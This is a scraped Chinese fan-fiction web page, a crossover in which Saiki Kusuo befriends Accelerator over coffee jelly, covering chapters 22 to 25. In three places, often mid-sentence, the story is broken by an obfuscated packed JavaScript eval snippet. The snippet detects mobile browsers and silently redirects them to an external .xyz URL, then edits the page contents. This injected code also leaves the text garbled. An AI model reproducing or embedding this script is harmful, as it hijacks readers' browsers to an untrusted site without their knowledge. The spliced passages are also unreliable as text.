以前多倔强啊。又嘴硬又好面子。他自然大声反驳自己根本不会哭,齐木家的孩子是绝对不会轻易落泪的,自己可是 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是啊,从前他还小,听得稀里糊涂,半懂不懂,如今回想起来,才知道父亲的意思是—— 「要有大大小小的期待,生活才不会百无聊赖。要有或多或少的改变,未来才不至于漆黑黯淡。」 「你的那位朋友,我想他是个很有主意的人。」 记忆中的人像变成真实的存在,朦胧的声音有了实感。少年齐木楠雄真正出现的时候,铃科夏上还觉得有些失真,超能力者随手挥开即将砸到夏上头上的塑料垃圾袋,面无表情地朝他抬了抬下巴,「愣愣地看着我干什么?跟我回家。」 “小楠从前就是个内敛到极端的小孩,他表达爱意的方式总是晦涩难懂。” 夏上此时此刻,对久留美女士的那句话有了更多的理解。 他突然开始“啪啪啪”地掉金豆子。 - 人生中突如其来的扭转出现得从来都毫无道理。 一方通行永远在被迫扭曲着。他的人生从降临的那个瞬间,就被不可避免地剥夺了正常发展的可能性,他内心的期望和外在的实际表现因此被割裂成两个截然不同的部分。 可憎的命运将他从安全着陆的范畴内剥离。 他对恶意的刻意忽略和眼盲性顺从完成了人格塑造的最后一道工序——自我毁灭。从此,这具空壳中便充斥着暴怒、绝望和麻木,造就了一个没有名姓,没有过去,没有存在意义的废物、怪物。 成为施虐方向别人倾斜压迫的时候,他不愿展现出触动真心的恸哭,总是习惯以疯狂来掩饰。而计划被终结,求救信号被回应后,他似乎也失去了就此畅快地释然大笑的欲望。 曾经向绝对能力者的晋升一度成为他的全部。 一方通行接受了不堪的自己,任何不择手段的行为都无法成为他的阻碍。杀害实验对象,往目标迈出第一步的时候他就已经无法回头,于是只有蹚过尸山血海,爬上学园都市不可触及的巅峰时,他的生命才有那么一点微末的意义。 成为「最强」的强烈愿望甚至让他避免去思考lv6计划的违和感。 杀害一万个御坂妹后,对方还是不可思议地弱鸡,真的会按照试验开发者所说,未来的某一天给他带来危机,让他陷入苦战吗?他拒绝去思考这样的问题,放任自己就此坏掉,反正也已经破破烂烂的了。无法表达自我意识的克隆人和无法有自我意识的实验器具……两者就这么就相互厮磨中走向崩塌吧,待到有一天,谁来阻止他,乃至杀死他—— 失败的同时,他得到了解脱,当然,也破灭了未来的希望。 接下来干什么呢?自责悔恨中蹉跎光阴似乎已经成了唯一的出路。 不过不管怎么样,似乎都无可救药啊。 被lv0打败后,一方通行躺在集装箱上,决定就这么吹一夜的风。他需要好好清醒清醒。 23. 第二十二章 “听说了吗。” “学园都市的第一位被Lv0打败了。” “哈哈不可能吧,真的假的?” 近些时候从众多都市怪闻当中突围,最为津津乐道的无疑是「最强」与「最弱」的那场PK,正因其结果的大跌眼镜,使得这道消息一夜之间风靡整个学园都市。好多lv0都在摩拳擦掌,预备越级挑战,好成就自己的威名。 当然,无一例外地都落败了——也有人声称自己的胜利,但事后被证明是吹嘘。 铃科夏上在午饭时间,从齐木国春先生的口中得知这个消息时,很是愕然。 他陷入了短暂的思考当中,就此开始重新审视起自己的路。 他曾经为了变弱而拟定出一条“被弱者击溃从而让自己变得名不符实,以达到泯然众人的目的”的计划,然而学园都市的第一位被lv0打败的消息传出后,无数人一拥而上地想要将其拉下神坛,为此展开了覆盖全时间段的无限制挑战。 大言不惭谁都会,可如果是他自己,他真的能够承受这样的压力吗? 齐木楠雄是拒绝接近自己这个便宜儿子的,直觉告诉他,将有很麻烦的事情发生在这个看似年龄相仿,实际晚他一辈的少年身上。但他也确实做不到对自己骨血的生活细节漠不关心。 「你们很熟?」 夏上正机械地咀嚼面包,惊回神,差点咬到自己的舌头,“啊其实没有很……就是认识。”如果说是在未来的话,关系应该还不错吧。 他昨天翻来覆去,一夜无眠。早上起来,情绪已经稳定了许多。 「这样啊。」 齐木楠雄点点头,没了下文。 夏上:“……” 不愧是他亲爹,既不爱追根究底,也不爱多管闲事,这幅做派真的雷打不动。 不过怎么说呢,虽然那个做主邀请他们来自家过夜的年轻版父亲再未有进一步的关怀,或是逾越陌生人界限有更多的举动。但他的父亲不惯常如此吗?殷勤夹菜的久留美女士,吵吵闹闹的国春先生,安静淡然的父亲,还有他,这是他们一家经年累月不变的图景——回家的感觉让夏上前所未有地觉得心酸又委屈,饭都吃得比平日多些。 齐木楠雄其实一直在观察铃科夏上。 小朋友没什么心机,自然也没有暴露身份的警觉。自以为是地捏造了个假名,殊不知自己的真名已经在心声里大喇喇地、全无并保留地和盘托出,顺带三百六十度无死角展览了个遍。 虽说齐木楠雄及时止损,在确认对方身份后就马不停息地归家戴上了锗石戒指。 但这部天降的人生大剧着实已经被剧透了个七七八八,想忘都忘不掉。 姓铃科,名夏上吗?看来那个让我难以想象的另一半姓铃科——这不就变成了看图说话吗!他现在生命认识范围内可没有叫铃科的人,开玩笑,在未来的几个月内他会结识一名姓铃科的白发女性,快速坠入爱河,并且制造爱情结晶吗??? 在这种时候?作为十六岁的高中生? 齐木楠雄看着面无表情,其实已经有些焦虑地在心里啃指甲了。 年轻的国中生提前体验了社会的险恶,在被催婚这方面。 这种感觉在齐木国春被这个突然到来的小朋友萌到,摇着齐木楠雄的肩膀声泪俱下地请求“答应爸爸,将来一定要养个白白胖胖像小熊的儿子啊”时达到了巅峰。 这位父亲,他就是你的孙子。齐木楠雄想。 这位爷爷,我已经是爸爸的儿子了。铃科夏上想。 国春先生的“无理取闹”已经成了常态化,夏上也对此习以为常。 身为这位男人的儿子,齐木楠雄也应当是见怪不怪的,但特殊的情境下,说者无心,听者有意。 他现在压力很大。 超能力者整日地陷在这种不可名状的恐惧中。在思考自己为什么心软将铃科夏上带回家的同时,深重地考虑离家出走这件事。因而一下暑期延时课,他就不自觉地放空了思绪,徘徊在学园都市的大街小巷,像只找寻容身之处的可悲幽灵。 真不错,铃科可以不用流浪,但他是有家不能回了:) 也就是在这个时候,齐木楠雄遇见了一方通行。 齐木楠雄还是第一次见到这么像反派的“受害人”。 仅凭目测便能知道被踹进墙体里抠都抠不下来的小混混至少断了六根肋骨,剩下几个倒在地上半死不活的“尸体”看起来也好不到哪里去。麻烦感测雷达告诉齐木楠雄这个时候应该转身就走头也别回,但他还是忍不住去打量事件中心的孱弱少年。 并且赔上了自己用整个暑假的零花钱购买的咖啡果冻:) 按道理,他没有理由关心对方,不过夏上提到一方通行时说不清是犹豫还是纠结的神情实在叫他太在意,齐木楠雄不自觉地选择了驻足。 但即使是超能力者自己,也无法解释此情此景下,他为何会伸出善意的橄榄枝。 是对深陷黑暗者的拯救欲望促使?还是对泥潭挣扎者的怜悯推就? 不远处,一双眼睛正注视着这场悄无声息的博弈。 夏上依旧干着荞麦店包吃包住包零花钱的兼职,他当然不可能心安理得地开始当个坐吃山空的蛀虫,于是正继续着自己养活自己的大业。店铺开发了外送业务,夏上正尽自己所能创造业额。 啊,「坐标移动」,便利的能力。 结果让他恰巧看见了父亲送予咖啡果冻的世纪一幕。 再次见到一方通行没有他想象中的五味杂陈,注意力全然被某个念头吸引。 “原来他们早就认识啊。” - 齐木楠雄离开的时候,白发少年依旧站在巷子里,一动不动地盯着手中高高举起的装满咖啡果冻的塑料袋。猩红瞳仁的眼底漆着一层过于深重的阴郁和死寂,整个人被层层尖利的锋芒包裹着。 关于最近学园都市阴暗处的骚动,齐木楠雄略有耳闻来着。 传闻中凌驾于能力者金字塔顶端的最强者,学园都市的第一位,前不久被一位无能力者打败,由此自认为嗅到神堕预兆的蚍蜉们已经纠缠第一位整整两天了,方才齐木楠雄撞见的只是万千妄图噬神者的冰山一隅。 但很可惜,时至今日,千百场战斗过后,并未有“勇士”(自称)能够成功弑神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088944|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神依旧站在世界的制高点冷漠地看着无知癫狂的世人。 不过相较于备受困扰的第一位,以凡人之躯战胜LV5的本该成为众生焦点的另外一位男主角却很好地在这场浩浩荡荡的“屠龙行动”中隐藏了起来。 始作俑者,他的同桌,上条当麻,正安然享受着自己宁静的修养时光。 齐木楠雄在众多同班同学的簇拥下拉开病房门,刺猬头正在修女的撕咬下发出夸张的嚎叫,御坂美琴和御坂妹因为一颗呱太徽章打得不可开交,黑子日常拉偏架。单人病房里闹成一团。 好吧,他收回宁静这个形容词。 “哦哦,齐木!海藤!灰吕……你们怎么来了啊!”伤员最先注意到了闯入者,上条当麻笑眯眯地同他们招招手。 灰吕把伴手礼搁置在床头,猝不及防挨了刺猬头的一惊一乍,“西瓜!是你们凑钱买的吗?” 可靠的班长大人一拍胸脯,“经过全班同学的允可,使用了班费。” “总感觉太贵重了……” “没关系,你可是伤员喵。话说你怎么这么不小心?居然大半夜跑到厂房空地去喵,还被集装箱砸到?”土御门元春推了推他那过分瞎眼的墨镜,压低了身形去打量上条身上的绷带。 应付来自好友的担心可不算是一件轻松的活儿,何况是在有难言之隐的情况下。总不能直截了当地打招呼:嗨大家好,重新认识一下,本大爷我就是都市传说中那个锤了第一位的无能力者,吧? 上条挠了挠脸,压根想不出合理的说辞。 “呀哒!得手了!” 在鏖战中凭借“下三滥”手段最终获得了呱太徽章归属权的御坂美琴一嗓子缓解了这边的尴尬。 也好在土御门的关注点根本不在于他为什么受伤,金发青年直起腰杆,长舒一口气,“还亏没出什么大事,真是的。不然可就不止躺上一两个星期就能解决的了。说到住院……给,没有一台游戏机应该会很无聊吧?毕竟我们也只能放学后来看你什么的。” “此乃吾潜心研究0.4个年头的高阶黑魔法,现将其传授与汝,事关darkreunion的计划,汝务必承袭,为吾之讨伐助一臂之力。” 看起来像是涂鸦中的涂鸦。装订版草稿纸吗? “多谢。”深谙其道的上条当麻不动神色地接受,顺便掐断了海藤的3D环绕BGM,“对了,齐木,上次请你帮带的咖啡果冻……” 齐木楠雄:「……」 上条当麻和蔼可亲地微笑.jpg 啊,是买了呢,但是路上给了别人。 齐木楠雄:「……」 上条当麻仍然和蔼可亲的微笑.jpg 「下次我会记得带来的。」 “……” “呀,不是,这口吻也太无情了吧?我们是同桌吧,同桌诶!” 真是个呱噪又元气满满的家伙啊,虽然缠着绷带,但总给人一种永远肆意生长着的感觉。是麻烦讨厌的性格,但大概会成为很多人的太阳吧。 相比那个随时都会死去的另一方——齐木楠雄想到了一方通行。 但愿他没把咖啡果冻扔了。 24. 第二十三章 一方通行当然没把咖啡果冻扔了。 这个黑呼呼的,看上去和咖啡连十八代表亲都算不上的东西竟然超出他意外地合胃口。 他靠那些果冻过了两天左右。 而之所以说是左右,实在是因为他太没时间概念。大部分时间,一方通行都窝在沙发里昏睡,睁开眼睛也往往是为了解决一些不知天高地厚擅自闯入他领地的小混混——把他们像是垃圾般清理出去。然而蚂蚁不分昼夜地前来,渐渐也懒得出手了,一方通行甚至怠于更换已经暴漏的栖息地,反正不管去到哪里,被苍蝇蚊虫骚扰的命运也不会改变。 「矢量操纵」过滤掉了百分之百的不请自来者。 日夜没了意义,勉强能够记时的东西也就只剩下了吃掉的咖啡果冻的数量。 于是等到咖啡果冻消耗殆尽之时,他终于走上了街道。 学园都市的标志性飞艇像条过分安于享乐的胖鱼,优哉游哉地穿梭在被晚日映照地粉白的云层中。一方通行熟门熟路地拐进一家最近的购物中心。 冰箱里的速冻食品早早告罄,但他实在是提不起劲头补充——学园都市从不缺无聊又自大的人,自从那天晚上的事情莫名流传出去后,生活里麻烦的事情变多了,不自量力的家伙比比皆是,有必要让他们认识到天壤之别的力量差。但尽管是蝼蚁,要一个个碾过去也有够烦人的——更何况蝼蚁们总是前仆后继,源源不绝。 于是他平静的生活尽被这些毫无意义的事搅得稀乱。 所以要说是逃避也无所谓,虽然他没这个兴趣也没这个必要去逃避,但在家待着确实能够规避掉很多麻烦事。 【双拼味炸鸡!最新推出!】 学园都市的第一位站在广告牌前很不感兴趣地抬了抬眉毛,“加辣。” 上次买炸鸡好像是上辈子的事了,一方通行接过处理好的熟食,把它丢进购物篮里,然后“目中无人”地从狭小的过道里“借路”挤出去。 「……」 「双拼,孜然加梅子粉。」 在第一位离开后,被借道的某位粉毛默默地掰正身体,一面对着柜台内的服务员伸出两根手指头,一面开始反思自己「为了变普通,绝对要避开学园都市重点人物」的超能力是不是失灵了。 先是前几天,为了理所当然地不参与灰吕给上条特别准备的“痛痛快飞走”合唱节目,而借口去购买咖啡果冻,却无意间撞上第一位大人殴打小混混。 在那里折了重要的伴手礼不说,大脑还不受控制地模拟对方举动。 好在守住了最后的防线,好奇心还没严重到忍不住使用超能力。 第二次完全是齐木空助那家伙创造出来的灾难。第一千一百零一次挑战弟弟失败也就算了,居然瞬间发动了第一千一百零二次挑战。千钧一发之际,下意识发动的「瞬移」把他随机丢到了某个光线昏暗的地方。 不,准确来说,应该是某人的卧室。 半蹲落地,重心前倾的他差点磕到第一位脸上去!! 最近距离勉强停留在两厘米左右,极力控制住事态不向奇怪方向发展的齐木楠雄松了一口气,鉴于对方是学园都市第一位来着,稍许动作说不定都会被察觉,再靠近不可能,远离也不是的超能力者只好选择保持现状——「隐身」可以很好地帮助他度过这漫长的「瞬移」CD。 与大众认知颇有些差距的是,所谓的最强拥有着平常人无差的安静睡颜。 甚至较之更为天真。 能这么形容的吗? 这是可以说的吗? 余光中,房间门口还沾染着血迹,预示着这里前不久刚有人因为扰人清梦而被沉睡的恶魔降下惩罚。 因而无论怎样,天真这个词用来形容学园都市的王牌兵器都不太合适。 不过,睡脸还是会反映出真实的表情呢。 他和第一位共处一室足足三分钟,蜷缩在沙发里的一方通行还是一点苏醒的迹象都没有,虽然「隐身」能够遮蔽掉形体,但他的气息仍在——喂喂,好歹是最强吧,这迟钝的危机意识也实在是太让人大跌眼镜了……是因为状态不佳吗?脸色也太差了。 一眼收入眼底的窄小居室内乱七八糟,然而生活垃圾的痕迹却并不明显。看来屋主人不但没有好好收拾的欲望,甚至连日常消耗都自主降到了最低。 门外忽然传来嘈杂的吵闹声,又是来找茬的? 嘛,帮他解决掉好了。齐木百无聊赖地这般想着,然而还没等他意识到这个想法过于自来熟,眼前的人就醒了。 一方通行的睫毛动了动,尔后,距离齐木楠雄仅一指节的惺忪睡眼缓缓掀起,冷淡地露出半截寒凉的红色眼眸,第一位支着苍白瘦削的胳膊缓缓撑起上半身,就此,那团死寂的白色彻底活了过来。 在那双眼睛完全睁开之前,齐木发动了超能力「瞬移」。 于是最后落在他眼底的,便是一方通行宽松领口遮不住的大片大片的雪白胸膛。 是啊,雪白,且几乎从头到脚的白,就如同眼前这一眼所看到的般—— 他的思绪戛然而止,齐木站在零食区走也不是,不走也不是。 最近的事实在是一件比一件荒唐。 从记忆中走出来的一方通行正站在货架前挑选咖啡果冻。 他微微低着头,垂眼看写在果冻背面的成分说明,几缕发丝垂下来将他的侧脸切割成不同的区块,更多的发丝弯弯绕绕地积聚在脖颈上。齐木楠雄看见第一位手边的购物篮里歪斜放着几罐咖啡。 失策了,料想着不去冷冻区就可以避开,没想到第一位已经选好了咖啡。 在他等炸鸡出炉的时候! 齐木不知道这该算是第三次偶遇还是第四次偶遇,或许他就不该出来购物。 第一位没有即刻要走的打算。 他正尝试把一整面墙壁的不同品种的咖啡果冻分出个三六九等。 「果然还是小鹿甜品店家的手工咖啡果冻更好吃一点啊。」 装作路人无意间发出的慨叹,把隐匿在城市小巷中的“扫地僧”级别的甜品店介绍给很有钱,完全能够消费得起的第一位先生,以求身为强者精益求精的精神能够驱使对方离开…… 然而一方通行闻所未闻。 他仍然专注地进行手中的大业——把某种款样的咖啡果冻都装进他的购物篮。从包装上看,不难辨认出这是上次齐木给他的那款——被誉为平价产品中的口味王者! 货架上顷刻间只剩下三个。 两个,一个…… 住、住手—— 「住手!把这位仅本商场特供,性价比第一适合学生党的咖啡果冻大人留给需要他的人啊!」

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088945|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 停住了?!凭他内心的呐喊? 未曾来得及展露出狂喜的姿态,齐木很快尴尬地发现,那只手仅仅在半空中停滞了一瞬,便将最后一个咖啡果冻收入囊中。更尴尬的是,他突然反应过来,刚才自己情急之下呐喊着的心声居然脱口而出了。 而且是的的确确地喊出来,且被对方听见了。 “那又如何?”因为第一位这样跟他说,“下次你自己来早点不就好了。” 尴尬就装聋作哑是齐木楠雄身体自动磨炼的条件反射。 他有点后悔自己当时把咖啡果冻介绍给这家伙。 麻烦拿出点对待“咖啡果冻爱好者前辈”的恭敬态度来啊! 但是一方通行说得对,早点来就行了……完全不行!——连续三天早上九点(商场开门时间)在同一个货架前遇到一方通行,且均竞争失败的齐木楠雄如是说。 得想个办法让一方通行爱上别款咖啡果冻。 誓死要在暑假结束前吃到咖啡果冻的超能力者,人生第一次主动拍了别人的肩膀。并且把燃堂那套活学活用:「嗨!爱博,一起去吃咖啡果冻吧。」 “不要。” 「……」 好耶,一下子就被拒绝了呢:) 不过值得庆幸的是,最起码自己现在没有抱着骨折的胳膊滚倒在地——为了避免不必要的麻烦,引起第一位的注意,他装还是会认真装的,至少会滚出去二十米。 “你是不是认错人了?”第一位微微蹙起眉,对于齐木楠雄的自来熟并不理解。 意料之中的反应。学园都市的兵器总是那个行走人群中最独特的存在,要问为什么的话,大概就是永远不会有人主动来搭话吧。是因为拒人于千里之外的鄙夷表情?还是目中无人的傲慢态度? 超能力者决定未曾达到目的以前绝不珍惜自己的脸皮:「不会啊。毕竟我们这么有缘,不认识一下吗?」 啊啊,真蹩脚啊,像路边搭讪美女的油腻老头子。 有缘?这家伙是究极少根筋吗?第一位再一次把面前这个“时尚怪人”来来回回扫视一遍,“我们见过吗?” 第六次见面了,健忘的一方通行先生。 「非要说的话,我对你一见如故。」 “……无聊。”一方通行这么想,眼前这个头插两根棒棒糖的粉毛表情自然,在凝视和诘问后也没有丝毫的破绽,那么果然是……脑子有问题吧。 真是奇怪的人,多余的声音就反射掉好了。 一方通行决定忽略这位突然出现的过于殷勤的陌生家伙,脚步不停地往前走去,然而就在此时,有人抓住了他的臂弯,带动他整个人的重心向后偏移。 被拽了个踉跄的一方颇为不悦,他克制自己尽量不去跟神经病计较。 齐木楠雄也没想到自己的身体居然越过大脑先行做出了这样无理的举动,第一位会大发雷霆的吧,这次他会努力倒飞出两百米,装作全身粉碎性骨折的。 但是请让他说完…… 「实际上,你欠我十二个咖啡果冻。你有义务还债。」 设想中的单方面殴打没有发生,最强凝视着齐木的脸,回想得很是艰难,他从上一秒才开始转动脑子,“你是那个时候的……” 「……」 「这时候才想起来,你是究极少根筋吧?」 25. 第二十四章 糟糕,对这个心血来潮构建的自来熟角色似乎入戏太深,情不自禁地“以其人之道还治其人之身”了! “十二个是吧。” 然而第一位显然不愿意在这个小插曲上蹉跎太多,他十分“善解人意”地把手中沉甸甸的购物袋甩到齐木的胸膛上,后者忙不迭地抱住,“还给你了。” 刻在DNA中的咖啡果冻计量称滴滴作响。 ……整整三十个。 学园都市的第一位还真是有钱到过分,而且也义气到一定程度了。 咖啡果冻确实诱人,但这可不是他想要的结果,超能力者追逐的是长远上的效益,而非眼前的蝇头小利。 「我不需要这个。」 齐木楠雄追上去,「你请我吃小鹿家的手工咖啡果冻怎么样?」 “哈?”一方通行眯了眯眼,眼前的碳维生物连带说的话一起叫他无法理解。 第一位心目中的利益观向来是等价交换,过去以牙还牙便是,现在他甚至超额支出了相关货品,对方有什么不满意的? 「债主才有权利制定规则吧?」 聒噪的小虫子看上去仅仅是个微不足道的lv0,却丝毫没有自己正在面对lv5的自觉,正喋喋不休地诉说着自己的权益,「买一个小鹿家的手工咖啡果冻的钱可以买两个简装咖啡果冻,算起来,你要请我吃六次咖啡果冻……」 这家伙以为是过家家吗?完全是一副什么都不知道的小白表情啊。 “真的好吗?”一方通行带着恶劣的口吻半恐吓般地笑起来,“你现在还有机会赶紧拿走这份补偿,从此和我再无交集。因为我可是……” 话说到一半却被打断,粉毛看着他:「因为你是Accelerator?」 透过绿色的眼镜,一方通行看着这个Lv0的眼眸,那里面甚至连知情后压抑恐惧的痕迹都没有,只是单纯的平静。 制造灾祸的怪物——于是后半句他就突然说不下去了。 “……随你的便。” 「欸?」 第一位用微不可闻的声音“啧”了一下,气势汹汹地杀出商场,尔后在十字街口刹住脚,“那什么无聊的小鹿家甜品店在哪儿?还不赶紧带路?” 什么嘛,还以为要被二次拒绝,刚考虑要不要装得更无辜一点呢。 齐木回顾自己的表现,没有发现任何的破绽。 但因为没有预先设定好剧本和人物的基本性格,随意发挥了几下,导致现在有点往没心没肺的话唠白痴方向发展了。 不过学园都市的第一位意外地拿这套没办法。 也不是什么过分的剧情吧?主角可是傻白甜啊。正常人是不会和傻白甜计较的。 「来了!」 他追上一方通行,「一方先生,麻烦右转。我们得先坐电车去第四学区。」 被突然冠以敬语的白发少年沉默一滞,回过头来深深望了齐木一眼。 不是审视,而是单纯的“看”,不,应该说是发呆,像是在透过他的脸思考着什么。 齐木眨眨眼,「怎么了?」 “没什么。”一方通行懒懒地回答,“快点,我困了。” 说着他真的打了个呵欠,一副疲倦了的恹恹样。 「嗯。」 虽然清楚那一战过后的一方通行因为各种原因正心力交瘁,但他显然低估了对方心理上精疲力尽的程度。 齐木低头看向靠在窗口的第一位。 一方通行半阖着眼睑,仿佛察觉不到电车的轻微摇晃似的,像条纯白的纱帘,柔软无骨地陷在座位里。 是睡着了吗? 话说回来,因为和第一位同行的缘故——毕竟上车后还说过话,自然而然被纳入了熟人的行列,周遭投射过来的目光随着时间的推演越来越刻薄露骨,涌来的细微的交谈声大多不怀好意。 有些杀意连他这个同行者也牵连了进去。 就在齐木衡量着待会儿要是开打,他到底是抱头鼠窜当场晕过去,还是逞英雄被打飞出去就下线时,静止的画说话了。 一方通行懒懒地开口:“一群渣滓而已。” 「我知道,但是恶意是不是太多了,放任不管真的好吗?」 “跟你没关系。” 「啊,但是……」佯装被发现了小心思,装小白已到天衣无缝境界的齐木欲言又止。 “闭嘴!” 掺杂了愠怒的低呵撕扯开空气,像把锋利的无形刀刃扎进恶意散发者的胸膛,上位者肆虐的威压骇得四下里先是一片死寂,几息后自认为劫后余生者的倒吸气声才此起彼伏地响起。 「抱歉。」 !!! 居然下意识道歉了……说口来的时候超能力者就后悔了,他装的是神经大条的白痴,不是白莲花啊。 一方通行抬眼看向那张普通到不能再普通的面容。 虽然道歉了,但是粉毛的脸上看不出任何歉意,甚至连其他情绪都读不出来,只有空白。就像蠢货一样。 突如其来的不爽让他忍不住抬脚踢了踢蠢货的小腿,“到站了。” 莫名其妙吃痛的齐木:? 「可是明明没有到站……」他话没说完,就被一方通行给瞪了回去。 - 正午的日光毒辣地令人发指,路上行人少得可怜,一方通行和齐木楠雄两个人一前一后,顶着大自然“爱的炙烤”暴走了将近十公里,还跟没事人一样——余光瞥见白发少年光滑干净的白皙脖颈,对自己此时模样有着清醒认识的超能力者情不自禁地暗自感慨:这算什么啊,两个怪物吗。 “欢迎光临~” 来到美食集聚的区,穿过整条僻静的小巷后,小鹿家甜品店如约出现在眼前。 「麻烦来两个咖啡果冻。」 柜台内的服务员笑容甜美,“请问是打包还是留店?” 放在以往,齐木都是在前台点完单,打包回家慢慢品尝——周围嘈杂的人声只会影响他和咖啡果冻的精神交流。 但是今天属于特殊情况。 「有座位吗?」 “两位的话,刚好还有一张二人桌,这边请。” 直入主题地点完单后,齐木毅然决然地把舞台让给第一位——等他付钱。 白发少年利落地履行了自己的职责,花钱的动作果断到像个宠溺女朋友的三好男友——这个劲爆念头冒出来的瞬间,就被齐木收拾收拾,丢垃圾一样丢出窗外。 小鹿家甜品店自然设置了座椅,然而因为其出色的工艺常年被全学园都市慕名前来的人填得满满当当。就算是中午,也是人山人海,能“恰好”有两个人的座位完全是靠齐木用超能力提前“努力”了一下。 “这边请。” 顺着服务员指的方向看过去,赫然是一张卡在角落里的娇小可爱的情侣桌。 紧贴着刚好能塞下两个人的那种。 「……」大意了。 齐木楠雄开始考虑是打包带走另寻他店,还是再用超能力“赶”走两个。 “愣着干什么?赶紧吃完回去。” 第一位像是丝毫没察觉有可能窘迫尴尬的未来似的,自然而然地一屁股坐下,顺带对一直主导着来吃咖啡果冻的齐木楠雄此时展现出的“扭捏”的停顿表示狐疑。 齐木轻叹一声,算了,就这桌吧,当个什么都不懂的粗神经就好。 然而就在他准备坐下时,小腿又被踹了一脚。 “你给我站对面去。”一方通行“啧”了一声,又拱了拱齐木的脚腕,示意他走开。日常生活中的第一位略略收敛了自己神鬼莫近的气场,猩红眼眸天生携带的戾气也含蓄而隐晦地按捺在眸光闪烁中。服务员给他倒了杯水,他从善如流地接过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088946|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 「……」 超能力者还在揣度自己要如何反应时,第一位已经挑了个舒服的姿势歪好,好一副主人翁的架势。于是齐木楠雄便不得不站在一旁,高低差令他能够将一方通行的表情一览无余。白发少年仰着下颚,那双红色的瞳眸微微眯起,没有恶意,连傲慢都没有,纯粹是以自我为中心的理所当然。 某根劣性神经动了动。 「不要。」齐木楠雄决绝地挤过去,「我也要坐着。」 第一位的身形比看上去更瘦削,齐木轻轻松松地就把他压到角落里。两个人的身体严丝合缝地砌在一起。 “哈?……”一方通行瞠目结舌地目睹了这场“以下犯上”的忤逆,半晌才重启了宕机的大脑,瞪大了眼睛后知后觉地发出一声气音,尔后便开始劈头盖脸的暴躁控诉,“你脑袋出问题了吗?” 他所反对的理由无关风月,也不可能是因为羞涩——单纯是习惯作祟,俗称,不爽。 「没有喔。」然后他得到了这样无辜的回答。齐木楠雄的声音很雀跃,「因为站着完全品尝不了美味的咖啡果冻嘛,……啊,谢谢。」 眼神和语气已然是朴实无华到已经不仅仅是真诚的程度了。 众所周知,对脸色免疫的天然呆专治暴骄。 本质易燃易爆的一方通行像是哑了火的炮仗,突然发不来脾气,对方裸露在外的皮肤温热而柔软,像只没心没肺的傻河蚌大刺刺地对来人袒露他丰腴的鳍肉。这副“挑衅”的做派,未曾让他心生抵触,只有从内而外的祥和与宁静。 第一位彻底默许了齐木的冒犯。 不过这个座位确实是小得可以,现在的店家服务水平这么差,不怕投诉吗。第一位揉揉自己额顶的碎发,颇有些认命的将目光投向隔壁桌——话说为什么别的桌子那么宽,设计这张桌子的人果然是脑子泡海里泡了三天吧。 「你在看什么?」 “什么都没看。”一方通行撑着下巴,回过头,温和的口吻中夹杂了几份他自己都未能察觉到的纵容,“赶紧吃完走人……你不是打算一人吃两份的吗?”他话锋一转,因为齐木把其中一份甜品推到了他的面前。 「这是我请你的。」 “哈?” 「毕竟一个人吃很没意思啊。有人陪伴着的话,感觉也会完全不一样的。」齐木郑重地拿起勺子,对着到餐的咖啡果冻虔诚行礼。 是笨蛋吗?咖啡果冻神教的资深信徒? “你说什么呢,花我的钱请我?”一方通行好笑道。就算是早有准备这家伙说不定会做出什么不可思议的举动,但也没想到发生得如此猝不及防且叫他意想不到。 「准确来说是我的钱。」 “……”被反驳了。 “你到底在想什么?这么拐弯抹角的话,最初直接让我还钱不就行了?” 「还用说吗?直接给我钱的话,我肯定会舍不得买昂贵的手工甜品啊。搞不好又会去超市购物。」信徒,啊不,首席信徒捏着叉子以完美的入水姿势将Q弹的美食切割出一小块塞进嘴里,以这样的姿态展露自己对人类心理学的浅显研究。 后半句话则含糊不清,完全处在咀嚼的状态,「所谓美食共分享。」 「不吃吗?很好吃的哦。」 洋溢着十足幸福神情的侧脸圆润地像是哪家馅儿大皮薄的肉包子,一方通行盯着那蠕动着的面颊的主人源源不断地制造出粉红色泡泡。第一位默然片刻,“请便吧。” 明明应该更为强势的主导者现在反而落于下风,一方通行百无聊赖地转了转叉子,裹挟着一小块果冻用力捅进嘴里。 ……味道确实不错。 「美味的手工咖啡果冻有虏获你的心吗?」粉毛的微笑一派澄明。 “完全没有。”大底是店内的灯光颇有些晃眼,一方通行移开了目光,轻声说。 26. 第二十五章 Last 回程的路上并不顺利。 突如其来的暴雨像打翻的锅盖一样,把学园都市笼罩在一股逼仄的气压里,明明才下午三点,天色却已经黑得恍若入夜。大雨将周遭的一切困在白日里闷热的暑气被涤荡无存,厚重的雨幕极大地缩小了能见度。 本打算出门就与第一位分道扬镳的齐木楠雄被堵在了电车站台,并且为了避免引人注目,不得不舍弃到无人处使用超能力直接瞬移到家的计划。 